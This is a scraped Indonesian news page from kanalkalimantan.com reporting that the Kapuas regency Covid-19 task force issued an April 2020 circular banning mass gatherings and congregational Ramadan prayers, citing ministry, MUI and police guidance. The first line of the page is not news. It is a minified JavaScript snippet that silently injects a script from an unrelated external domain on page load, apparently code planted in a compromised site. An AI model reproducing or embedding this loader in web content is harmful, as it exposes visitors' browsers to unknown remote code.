(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Pemkab Kapuas Keluarkan Surat Edaran Larangan Pengumpulan Orang Banyak


KANALKALIMANTAN. COM, KUALA KAPUAS – Pemerintah Kabupaten (Pemkab) Kapuas melalui Gugus Tugas Percepatan Penanganan Covid-19 menerbitan surat edaran tentang larangan mengumpulkan orang banyak.
Surat Edaran (SE) bernomor 360/30/Gugus-Covid/Kps.2020 tetanggal 27 April 2020 tersebut menegaskan kembali agar pengurus masjid dan langgar di wilayah Kabupaten Kapuas menaati Edaran Menteri Agama RI tentang panduan ibadah Ramadhan dan Idul Fitri di tengah pandemi wabah Covid-19, di mana dalam salah satu poinnya menyebutkan shalat tarawih dilakukan di rumah saja.

Juru Bicara Gugus Tugas Percepatan Penanganan Covid-19 Kapuas Dr H Junaidi mengatakan, tujuan surat edaran tersebut demi keselamatan dan kesehatan masyarakat Kapuas, maka dianjurkan tetap di rumah saja.
“Jika pun terpaksa harus keluar rumah gunakan masker dan rutin mencuci tangan menggunakan air mengalir. Kita dianjurkan mengkonsumsi makanan bergizi serta istirahat yang cukup,” kata H Junaidi, Rabu (29/4/2020).

Dilanjutkannya, surat edaran tersebut juga mengingatkan kembali agar mentaati fatwa Majelis Ulama Indonesia (MUI) terkait wabah saat ini.

“Yaitu Fatwa Majelis Ulama Indonesia tentang penyelenggaraan ibadah dalam situasi terjadi wabah Covid-19 saat ini,” imbuh Kepala Diskominfo Kapuas ini.
Pada poin 4 menyebutkan “Dalam kondisi penyebaran Covid-19 tidak terkendali di suatu kawasan yang mengancam jiwa, umat Islam tidak boleh menyelenggarakan shalat Jum’at di kawasan tersebut, sampai keadaan menjadi normal kemball dan wajlb menggantikannya dengan shalat Zuhur di tempat masing-masing.
Demikian juga tidak boleh menyelenggarakan aktifitas ibadah yang melibatkan orang banyak dan dapat menjadi media penyebaran Covid-19, seperti jemaah sholat lima waktu rawatib, shalat tarawih, dan led di mesjid atau tempat umum lainnya, serta menghadiri pengajian umum dan majelis taklim.
“Jadi kita kembali mengingatkan adanya panduan ibadah Ramadhan di tengah pandemi Covid-19 yang telah dikeluarkan Kementerian Agama RI serta MUI Pusat,” jelasnya.

Ketua Harian Gugus Tugas Percepatan Penanganan Covid-19, Panahatan Sinaga SH menambahkan, surat edaran tersebut juga memuat agar masyarakat mentaati Maklumat Kapolri tentang kepatuhan terhadap kebijakan pemerintah dalam penanganan penyebaran virus corona.
Pada point nomor 3 menyebutkan bahwa apa bila ditemukan perbuatan yang bertentangan dengan maklumat Kapolri, maka setiap anggota Polri wajib melakukan tindakan kepolisian yang diperlakukan sesuai ketentuan peraturan parundang-undangan yang berlaku. (kanalkalimantan.com/ags)

 

Reporter : Ags
Editor : Bie

 


Desy Arfianty

Recent Posts

Meta hingga TikTok Digugat karena Picu Kecanduan Remaja

KANALKALIMANTAN.COM - Meta Platforms, TikTok, dan YouTube akan menghadapi persidangan di pengadilan Amerika Serikat (AS)… Read More

43 menit ago

DPMPTSP Kenalkan Layanan MPP Balangan ke Perangkat Desa

KANALKALIMANTAN.COM, PARINGIN - Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kabupaten Balangan menyosialisasikan… Read More

58 menit ago

Wabup Kapuas Kunjungi Kecamatan Kapuas Hulu dan Mandau Talawang

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo bersama jajaran menempuh jalur sungai dan darat… Read More

14 jam ago

Unjuk Rasa di HSU, GOSTI: Berikan Jabatan ke Orang yang Bertanggung Jawab

‎KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More

15 jam ago

Pesan Edukatif Street Art Dakwah South Borneo Lewat Mural dan Grafiti

KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More

16 jam ago

Unjuk Rasa di Halaman DPRD HSU

KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More

16 jam ago

This website uses cookies.